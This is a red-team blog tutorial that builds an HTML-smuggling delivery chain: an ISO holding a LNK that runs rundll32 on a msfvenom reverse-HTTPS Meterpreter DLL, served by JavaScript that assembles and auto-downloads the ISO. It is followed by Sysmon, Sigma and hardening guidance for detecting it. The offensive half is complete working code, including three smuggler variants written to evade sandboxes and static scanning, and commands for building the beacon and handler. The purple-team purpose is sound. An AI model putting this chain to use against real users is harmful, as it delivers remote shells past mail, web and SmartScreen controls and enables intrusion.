HTML Smuggling and ISO/IMG-Based Payload Delivery

By Debraj Basak·Jul 9, 2026·15 min readRed Teaming

Objective: Build a working HTML smuggling delivery chain in a lab, drop a container (ISO) that bypasses Mark-of-the-Web, land a shell via a LNK-inside-ISO pattern, then flip to defender and catch every stage with Sysmon, Sigma, and hardening controls.


The interesting thing about HTML smuggling is that nothing about it is a vulnerability. There is no CVE. There is no memory corruption. You are just using HTML5 and JavaScript exactly the way the spec says you can, and the file never crosses a network boundary as a file. Your web proxy sees text/html. Your SEG sees text/html. Your NGFW’s file inspection engine sees text/html. Meanwhile the browser is quietly reassembling a payload in RAM and writing it to Downloads\.

Pair that with an ISO container, and you have removed the second layer of defense too: Mark-of-the-Web. SmartScreen never fires because SmartScreen never sees a marked binary. This is the exact chain NOBELIUM ran in 2021, that QakBot ran to stage Black Basta in 2022, and that keeps showing up in Mekotio, AsyncRAT, and TrickBot samples. This tutorial builds it end to end in an isolated lab, then shows how a competent blue team catches the whole sequence.

Lab is host-only. No internet egress. Attacker VM is Kali, victim is a Windows 10/11 VM with Defender on and Sysmon v14+ installed. Nothing here is aimed at a live target and no unpatched CVE is used – the primitives themselves are the lesson.


1. Why the Perimeter Cannot See This

Think about where a traditional email/web control actually intercepts a file. A secure email gateway scans the attachment MIME parts on ingress. A web proxy inspects the response body for known bad file signatures or hashes. Network DPI matches magic bytes as bytes cross the wire.

HTML smuggling breaks all three assumptions at once. The wire only ever carries an HTML document containing JavaScript. The file (the ISO, the ZIP, the DLL, whatever) is assembled inside the browser after decoding a string that was embedded in the HTML. There is no “download” from the gateway’s perspective, because Blob construction and URL.createObjectURL() are entirely local operations. The blob: URL scheme is a pointer into the browser’s own memory.

The blue-team implication: you cannot catch this at the perimeter with signature matching alone. Detection moves onto the endpoint, specifically into the NTFS Zone.Identifier stream and the process tree that follows. More on that in Section 9.


Conceptual illustration of HTML smuggling bypassing a perimeter checkpoint, with a payload assembling inside after the gate
HTML smuggling never presents a file to the perimeter – only a document – so gateway inspection finds nothing to block.

2. JavaScript Blob Mechanics

Before writing the smuggler, understand exactly which APIs it leans on and why.

APIPurpose
atob()Decodes a Base64 string into a binary string (each char = one byte, 0-255)
Uint8ArrayTyped array holding raw bytes; the Blob constructor accepts it directly
new Blob([data], {type})Builds an in-memory binary object with a MIME type
URL.createObjectURL(blob)Returns a blob: URL that references the in-memory Blob
URL.revokeObjectURL(url)Releases the reference so the Blob can be GC’d
<a download="name">HTML5 attribute that forces a save-as instead of navigation
msSaveBlob(blob, name)Legacy IE/Edge-Legacy API. Deprecated. Modern samples do not use it.

One accuracy note the research brief calls out: msSaveBlob shows up in older writeups and in the MITRE T1027.006 description, but it only exists in IE and pre-Chromium Edge. Any current smuggler you look at will use createObjectURL and a synthetic anchor click. Present it that way.

The rest of the chain is just DOM: create an <a> element, set href to the Blob URL, set download to the filename the victim will see, append it to document.body, call .click(). That is the entire delivery mechanism.


3. Lab Setup

Two VMs, host-only network, 192.168.56.0/24.

HostOSRoleIP
AttackerKali LinuxServes smuggler HTML, runs C2 handler192.168.56.10
VictimWindows 10/11 (Defender on, Sysmon v14+ with SwiftOnSecurity config)Detonates payload192.168.56.20

Install requirements on Kali:

sudo apt install -y genisoimage python3 metasploit-framework

On the Windows victim, install Sysmon with a config that logs FileCreateStreamHash (EID 15) with Contents. Sysmon v11.10+ can capture ADS contents, and you want that.

Sysmon64.exe -accepteula -i sysmonconfig-export.xml
Get-Service Sysmon64

One important note about the victim’s patch level. Microsoft’s KB5022842 (Feb 2023, Win 11 22H2) began propagating MoTW into some container contents. If your Windows victim is fully patched, files inside a mounted ISO may inherit Zone.Identifier and SmartScreen will fire. To reproduce the classic NOBELIUM behavior you either want a pre-KB5022842 Win 10 image, or you accept that on modern Win 11 the bypass is now partial and the tutorial’s job is to show why the primitive worked and how detection stayed relevant either way. Test which side you are on before going further:

Get-HotFix | Where-Object HotFixID -eq 'KB5022842'

4. Craft the C2 Beacon

Generate a stageless HTTPS Meterpreter DLL. For a real engagement you would swap this for a custom shellcode loader. For lab work, msfvenom is fine and gives you predictable telemetry to hunt against.

msfvenom -p windows/x64/meterpreter/reverse_https \
  LHOST=192.168.56.10 LPORT=4443 \
  -f dll -o lab_beacon.dll

Kick off the handler in another terminal so it is ready when the victim detonates:

msfconsole -q -x "use exploit/multi/handler; \
  set payload windows/x64/meterpreter/reverse_https; \
  set LHOST 192.168.56.10; set LPORT 4443; \
  set ExitOnSession false; exploit -j"

5. Build the ISO Payload

The trick that makes ISO a MoTW bypass primitive is that ISO 9660 and UDF are not NTFS. MoTW is an NTFS Alternate Data Stream (:Zone.Identifier). No NTFS, no ADS. When Explorer auto-mounts an ISO on double-click, the files on the resulting virtual drive letter have never had a Zone.Identifier applied to them, so SmartScreen has nothing to check against.

Add a LNK that points to a Living-Off-the-Land binary (LOLBin) which loads your DLL. rundll32.exe is the classic choice and matches the NOBELIUM tradecraft.

On a Windows prep VM, build the ISO staging folder:

mkdir C:\LabISO
Copy-Item .\lab_beacon.dll C:\LabISO\lab_beacon.dll

$shell = New-Object -ComObject WScript.Shell
$lnk   = $shell.CreateShortcut("C:\LabISO\Documents.lnk")
$lnk.TargetPath       = "C:\Windows\System32\rundll32.exe"
$lnk.Arguments        = "lab_beacon.dll,DllMain"
$lnk.WorkingDirectory = "%CD%"
$lnk.IconLocation     = "%SystemRoot%\System32\shell32.dll,1"
$lnk.Save()

Copy C:\LabISO\ to the Kali box (SMB, SCP, shared folder, doesn’t matter), then package it with genisoimage:

genisoimage -o lab_payload.iso \
  -V "DOCUMENTS" \
  -J -r \
  /home/kali/LabISO/

-J enables Joliet, -r enables Rock Ridge. You want both so the LNK filename survives cleanly on Windows. Quick sanity check:

isoinfo -l -i lab_payload.iso
ls -lh lab_payload.iso

Base64 the ISO for embedding in the HTML:

base64 -w 0 lab_payload.iso > lab_payload.b64
wc -c lab_payload.b64

A word of warning that cost me an hour the first time I did this: browsers handle multi-megabyte inline Base64 strings fine but the parse-and-decode step is noticeably slow, and the tab will look frozen for a few seconds on a large payload. Keep the beacon DLL small.


6. Build the HTML Smuggler

Three variants worth practicing. Start with the plain auto-download, then layer obfuscation.

6.1 Variant A: Auto-download on load

<!doctype html>
<html>
<head><title>Secure Document Viewer</title></head>
<body>
<p>Loading secure document viewer...</p>
<script>
  // Base64-encoded ISO. In the lab, paste the contents of lab_payload.b64 here.
  var b64 = "TERMPKAAAAA..."; // truncated

  // atob() decodes Base64 into a binary string: each char code is one byte 0-255.
  var binary = atob(b64);

  // Copy those bytes into a typed array so Blob gets raw bytes, not UTF-16.
  var bytes = new Uint8Array(binary.length);
  for (var i = 0; i < binary.length; i++) {
    bytes[i] = binary.charCodeAt(i);
  }

  // Assemble the file in memory. Nothing has hit disk yet.
  var blob = new Blob([bytes], { type: 'application/octet-stream' });

  // createObjectURL returns a blob:https://... URL that only this document can resolve.
  var url  = URL.createObjectURL(blob);

  // Synthesize an <a download> and click it. This is what actually writes to Downloads\.
  var link = document.createElement('a');
  link.href     = url;
  link.download = 'Documents.iso';
  document.body.appendChild(link);
  link.click();

  // Free the Blob URL. The file is already on disk; the URL is no longer needed.
  URL.revokeObjectURL(url);
</script>
</body>
</html>

The Uint8Array copy loop is not optional. If you pass the binary string directly to Blob, the browser stores it as UTF-16 code units and your ISO ends up with the wrong bytes. charCodeAt(i) gives you the raw byte value because atob returned a string of Latin-1 characters.

6.2 Variant B: Click-triggered

Some detonation environments (sandboxes, headless scanners) navigate to a page and record what happens. Requiring a click delays and can dodge naive analysis:

<button id="dl">Download Report</button>
<script>
document.getElementById('dl').addEventListener('click', function() {
  // ... identical Blob/anchor logic as Variant A
});
</script>

6.3 Variant C: XOR-obfuscated payload

Adding a single-byte XOR before Base64 defeats static string scanning of the HTML for MZ headers or ISO signatures. The QakBot family did versions of this.

Prep on Kali:

# xor_encode.py
key = 0x42
with open("lab_payload.iso","rb") as f: data = f.read()
enc = bytes(b ^ key for b in data)
import base64
open("lab_payload_xor.b64","w").write(base64.b64encode(enc).decode())

Smuggler:

<script>
  var key = 0x42;
  var b64 = "..."; // XOR-then-Base64 blob
  var binary = atob(b64);
  var bytes  = new Uint8Array(binary.length);
  for (var i = 0; i < binary.length; i++) {
    bytes[i] = binary.charCodeAt(i) ^ key;   // undo XOR on the fly
  }
  var blob = new Blob([bytes], { type: 'application/octet-stream' });
  var url  = URL.createObjectURL(blob);
  var a    = document.createElement('a');
  a.href = url; a.download = 'Documents.iso';
  document.body.appendChild(a); a.click();
  URL.revokeObjectURL(url);
</script>

Adds detection surface where it takes it away, though. A payload with atob next to a decoding loop and a Uint8Array and a Blob and an <a download> is a strong static signal on its own, XOR key or not. That is a real thing defenders key on: YARA rules for HTML smuggling do not chase specific strings, they chase the combination of these APIs in one document.


7. Deliver and Execute

On Kali:

cd ~/deliver
cp lab_smuggler.html index.html
python3 -m http.server 8080

On the victim, browse to http://192.168.56.10:8080/. Watch what happens:

  1. Page loads. Static-content scanner sees text/html and lets it through.
  2. JS decodes the ISO, builds the Blob, synthesizes the anchor, clicks it.
  3. Browser writes Documents.iso to %USERPROFILE%\Downloads\.
  4. That file does get a Zone.Identifier ADS – the browser is still an internet source. Open it in a text editor to see:

[ZoneTransfer]
ZoneId=3
ReferrerUrl=http://192.168.56.10:8080/
HostUrl=blob:http://192.168.56.10:8080/8a4d...

That HostUrl=blob:... is the fingerprint. There is no non-suspicious reason for a real user’s downloaded file to have a blob: HostUrl.
5. User double-clicks Documents.iso. Explorer auto-mounts it as, say, E:\.
6. Inside E:\, Documents.lnk and lab_beacon.dll sit with no MoTW.
7. User double-clicks Documents.lnk. Explorer calls ShellExecute, which runs rundll32.exe lab_beacon.dll,DllMain from E:\.
8. Beacon calls back to 192.168.56.10:4443. SmartScreen never fired.

Meterpreter session lands in the handler you left running. You now have execution as the logged-in user with no prompts touched.


Flow diagram showing the full HTML smuggling and ISO delivery attack chain from browser fetch through Blob assembly, ISO drop, auto-mount, LNK execution, and C2 callback
Each stage of the chain defeats a specific control: Blob assembly defeats the gateway, ISO defeats MoTW, and a LOLBin LNK defeats SmartScreen.

8. Why the Chain Works, in One Table

StageControl it defeatsWhy
HTML smuggling (Blob)Web proxy / SEG file inspectionNo file crosses the wire, only HTML+JS
Base64 (+ optional XOR) in HTMLStatic string / signature scanningPayload bytes not present in transit
ISO containerMark-of-the-Web propagationISO 9660 / UDF has no NTFS ADS
LNK inside ISOSmartScreen promptFiles on mounted ISO drive have no Zone.Identifier
rundll32 from ISOApplication allowlisting (weak configs)LOLBin is signed and permitted by default

The important thing here is that each layer targets a specific control. That is why “just block one” is not enough on the defender side.


9. Detection and Defense

Detection lives on the endpoint, and it lives specifically in Sysmon and the process tree. The signal is very strong if you look in the right places.

9.1 Sysmon events that matter

Event IDNameWhat it catches
11FileCreateBrowser writing .iso/.img/.vhd/.vhdx/.zip to Downloads
15FileCreateStreamHashThe Zone.Identifier ADS being written, including its contents
23FileDelete (archive-enabled)Attackers stripping Zone.Identifier post-download
1ProcessCreaterundll32.exe running with a DLL path on a mounted drive letter
22DnsQueryC2 lookup right after the LNK execution

The single highest-signal event in this whole chain is Event ID 15 with a Contents field containing HostUrl=blob:. That is the fingerprint of an HTML-smuggled file, full stop. There is not a benign explanation for that string in a Zone.Identifier on a normal user endpoint. Sysmon started supporting ADS content capture in 11.10, so ensure your config actually asks for it:

<RuleGroup name="" groupRelation="or">
  <FileCreateStreamHash onmatch="include">
    <Rule name="HTML_Smuggling" groupRelation="and">
      <TargetFilename condition="end with">:Zone.Identifier</TargetFilename>
      <Contents condition="contains any">blob:;about:internet</Contents>
    </Rule>
  </FileCreateStreamHash>
</RuleGroup>

9.2 Sigma rules

These are the building blocks. Chain them for higher-fidelity detection. The chain rule concept comes from Micah Babinski’s public research (id: 0952f2fa-e29b-4eb5-831c-ce21520c56e3, marked experimental) – link out to the source and run the individual rules first before you graduate to sequencing.

title: Browser Drops Disk Image or Archive to Downloads
id: 11111111-aaaa-bbbb-cccc-000000000001
logsource:
  product: windows
  category: file_event
detection:
  selection:
    Image|endswith:
      - '\chrome.exe'
      - '\msedge.exe'
      - '\firefox.exe'
      - '\iexplore.exe'
    TargetFilename|endswith:
      - '.iso'
      - '.img'
      - '.vhd'
      - '.vhdx'
      - '.zip'
  condition: selection
level: medium
title: HTML Smuggling Zone.Identifier Blob URL Marker
id: 11111111-aaaa-bbbb-cccc-000000000002
logsource:
  product: windows
  category: file_event
detection:
  selection:
    TargetFilename|endswith: ':Zone.Identifier'
    Contents|contains:
      - 'HostUrl=blob:'
      - 'about:internet'
  condition: selection
level: high
title: Rundll32 Executing from Mounted Disk Image
id: 11111111-aaaa-bbbb-cccc-000000000003
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    Image|endswith: '\rundll32.exe'
    CommandLine|re: '(?i)[D-Z]:\\[^\\]+\.dll'
    ParentImage|endswith: '\explorer.exe'
  condition: selection
level: high

Sequence them: Rule 1 fires, then Rule 2 fires on the same file within seconds, then Rule 3 fires within minutes with a matching drive letter. That is the whole chain and it is very hard to produce those three events benignly.

9.3 ETW and audit policy

Complement Sysmon with:

  • Microsoft-Windows-Kernel-File for image mount events
  • Microsoft-Windows-Shell-Core for ShellExecute invocations from LNK
  • Audit Object Access with a SACL on %USERPROFILE%\Downloads for high-value users

Enable command-line logging so the rundll32 lab_beacon.dll,DllMain string actually lands in EID 4688 / Sysmon EID 1:

reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit" `
  /v ProcessCreationIncludeCmdLine_Enabled /t REG_DWORD /d 1 /f
auditpol /set /subcategory:"File System" /success:enable /failure:enable

9.4 Hardening

None of these alone is a fix. Layered they close most of the chain.

  1. Kill Explorer’s auto-mount of disk images. Remove or repoint the mount verb on HKCR\Windows.IsoFile\shell\mount and the .iso/.img/.vhd/.vhdx file associations. Users can still open images with disk tooling; casual double-click detonation dies.
  2. Block container types at the gateway. ISO/IMG/VHD/VHDX are almost never a legitimate business attachment. Drop them at the SEG and the web proxy.
  3. Turn on ASR rule 5BEB7EFE-FD9A-4556-801D-275E5FFC04CC (“Block execution of potentially obfuscated scripts”). Set to Block, not Audit, once you have baselined.
  4. Deploy CDR on inbound HTML. Content-Disarm-and-Reconstruct strips the JavaScript from inline HTML attachments. Kills the primitive at the door.
  5. Patch MoTW propagation. KB5022842 and later propagate MoTW into some container contents. Test your Windows version explicitly; do not assume.
  6. WDAC / AppLocker. Deny rundll32.exe loading DLLs from any non-fixed drive letter. This alone breaks the LNK-in-ISO pattern regardless of MoTW.

10. Purple Team Validation

Do not trust that your rules fire. Prove it.

Detonate the smuggler again with logging cranked up, then walk the artifacts:

# Confirm the smuggling marker on the downloaded ISO
Get-Content "$env:USERPROFILE\Downloads\Documents.iso" -Stream Zone.Identifier

# Confirm the LNK inside the mount has NO Zone.Identifier (proving the bypass)
Get-Item E:\Documents.lnk -Stream * | Select-Object Stream

# Pull the Sysmon events
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; Id=15} `
  -MaxEvents 20 | Where-Object { $_.Message -match 'blob:' }

Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; Id=1} `
  -MaxEvents 50 | Where-Object { $_.Message -match 'rundll32.exe' -and $_.Message -match ':\\' }

You should see:

  • EID 15 with HostUrl=blob:... on Documents.iso
  • Zero streams on the LNK inside the mount
  • EID 1 with rundll32.exe running from a non-C drive with your DLL argument
  • EID 22 with the DNS query (if you gave the handler a hostname)

If any of those did not fire, fix the Sysmon config before you claim the detection.


11. Tools

ToolUseLink
genisoimage / mkisofsBuild ISO on Linux(packaged)
msfvenom / msfconsoleBeacon and handlermetasploit.com
Sysmon + SwiftOnSecurity configEndpoint telemetrysysinternals.com
SigmaDetection rule authoringsigmahq.io
NirSoft AlternateStreamViewInspect NTFS ADSnirsoft.net
Process MonitorConfirm process tree, mounted-drive I/Osysinternals.com
PE-bear / CFF ExplorerInspect the DLL you generated(varies)

12. MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
Obfuscated Files or Information: HTML SmugglingT1027.006Sysmon EID 15 with HostUrl=blob: in Zone.Identifier
Subvert Trust Controls: MoTW BypassT1553.005Files inside mounted ISO lacking Zone.Identifier
Phishing: Spearphishing LinkT1566.002Proxy/URL logs to the smuggler page
User Execution: Malicious FileT1204.002EID 1 on Documents.lnk invocation from mount
System Binary Proxy Execution: Rundll32T1218.011EID 1 for rundll32.exe with DLL on non-fixed drive
Application Layer Protocol: Web ProtocolsT1071.001EID 22 / proxy egress to C2 host

Summary

  • HTML smuggling plus ISO delivery works because each layer defeats a specific control: Blob assembly kills perimeter file inspection, and ISO kills Mark-of-the-Web propagation.
  • The delivery chain is HTML → in-browser Blob → ISO on disk → auto-mount → LNK → rundll32 → C2. Every stage is documented adversary tradecraft (NOBELIUM, QakBot, Mekotio).
  • The strongest single detection is Sysmon Event ID 15 with HostUrl=blob: in a downloaded file’s Zone.Identifier stream. That string is not benign.
  • Layered defense actually works here: disable ISO auto-mount, block containers at the gateway, enable ASR obfuscated-script blocking, WDAC-restrict rundll32 off removable drives, and stay current on MoTW-propagation patches (KB5022842+).
  • Validate detections by detonating in the lab, not by reading rule YAML. If the events did not land, the detection does not exist.

Related Tutorials

References

Get new drops in your inbox

Windows internals, exploit dev, and red-team write-ups - no spam, unsubscribe anytime.